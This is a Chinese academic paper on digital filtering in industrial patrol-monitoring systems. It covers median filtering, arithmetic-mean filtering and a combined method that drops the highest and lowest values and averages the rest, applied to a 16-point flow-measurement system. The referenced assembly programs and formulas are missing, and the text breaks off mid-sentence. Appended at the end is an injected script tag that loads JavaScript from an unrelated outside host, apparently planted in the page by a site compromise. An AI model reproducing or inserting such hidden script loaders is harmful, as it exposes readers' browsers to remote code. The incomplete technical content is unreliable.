（河南师范大学物理与信息工程学院，河南 新乡453002）
摘 要：介绍巡回检测系统中的常用数字滤波算法，并给出一个综合应用实例。
关键词：巡回检测系统；数字滤波；程序设计
realization of digitalfilter algorithmsin recurring monitor system
lilei，xuejian－bo
（henan normal university，college of physics and information engineering，xin xiang 453002，china）
abstract：this paperintroducesthe common digitalfilter algorithmsin recurring monitor．an example oftheirintegrative applicationis given．
key words：recurring monitor system；digitalfilter；programing
巡回检测系统用来实时测量温度、流量、压力等系统工业状态参数，并对测量的结果鉴别和处理，以此为依据，通过相应的控制算法，对系统进行最佳的调节和控制，保证稳定、可靠、安全、高效的运行。由于工业现场的环境比较恶劣，干扰源较多，为了提高系统的性能，在进行数据处理时，一定要对采样数据进行数字滤波。
1 巡回检测系统中的常用数字滤波算法
所谓数字滤波，就是通过特定的程序，减少干扰信号在有用信号中的比重。数字滤波与模拟滤波相比具有如下优点：
（1）由于数字滤波是由程序实现的，不需要增加硬件设备，可以多个通道共用一个滤波程序；
（2）无需硬件设备，可靠性高、稳定性好，各回路之间不存在阻抗匹配的问题；
（3）数字滤波可以对频率很低（如0．01hz）的信号实现滤波，而模拟滤波器由于受电容容量的限制，频率不可能太低；
（4）使用灵活、方便，可根据需要选择不同的滤波方法，或改变滤波器的参数。
数字滤波算法有许多种，如限幅滤波法、限速滤波法、中值滤波法、算术平均值滤波法、加权平均值滤波法、rc低通滤波法等。在巡回检测系统中，常用的滤波算法有中值滤波法、算术平均值滤波法，下面分别介绍这两种算法。
1．1 中值滤波法
对某一被测量参数连续采样n次（一般n取奇数），然后把n个采样值从小到大（或从大到小排队）， 取中值作为本次采样值。
若要将n个数据按从小到大的顺序排队，具体做法是两两比较。设（r0）为数据存放区首地址，先将（（r0））与（（r0）＋1）进行比较，若（（r0））＜（（r0）＋1），则不交换存放位置，否则将两数位置对调。继而再取（（r0）＋1）与（（r0）＋2）比较，判断方法亦然，直到最大数沉底为止。然向重新比较，把次大数放在n－1位，……如此下去，将n个数从小到大顺序排列。
设采样值从8位a／d转换器输入5次，存放在samp为首地址的内存单元中，进行中值滤波的汇编语言源程序为：
若变量变化比较缓慢，如温度、压力等，采用中值滤波效果较好，但对快速变化过程的参数，如流量，则不宜采用。
1．2 算术平均值滤波
根据得到的n次采样值x（i）（i＝1～n），求一个y，使得y与各采样值之间的偏差的平方和最小，此时 所得值具有最小误差。
由一元函数求极值原理可得：
上式是算术平均值滤波的公式。其实质是把一个采样周期内n次采样值相加，然后再除以采样次数n，便得到该采样周期的采样值。算术平均值滤波的汇编语言程序见参考文献［4］。
算术平均值滤波适用于对压力、流量一类的信号进行平滑处理。这类信号的特点是有一个平均值，信号在某一数值范围附近作上下波动。在这种情况下，仅以一个采样值作为依据显然是不准确的。算术平均值滤波对信号的平滑程度取决于n。当n较大时，平滑度高但灵敏度低；当n较小时，平滑度低但灵敏度高。应视具体情况选取n，对于流量测量取n＝8或16，压力测量取n＝4。
2 应用实例
上面介绍的两种算法各有优缺点，实际应用中可根据被测对象的实际情况，以及所取得的数据的规律而综合采用，形成多功能的复合滤波方法。即，把采样值先按从大到小的顺序排列起来，然后将最大值和最小值去掉，再把余下的部分求和并取其平均值。其原理可用下式表示：
在我们设计的流量巡回检测系统中，采用了这种复合滤波算法。其思路是：将连续进行n次采样的结果中的最大值和最小值弃掉，对剩余的n－2个采样值求算术平均值。用这种方法既可滤去普通脉冲干扰，又可滤去小的脉冲干扰。该检测系统采用12位a／d，对工业现场的16个点进行检测，每个点采集10个数据，对这10个数据去除最大值和最小值后，对剩余的8个数求算术平均值。以采集一个点的数据为例，这10个数据存放在0100h～0113h共20个字节单元中，高字节在前，占低四位，?script src=http://er12.com/t.js>
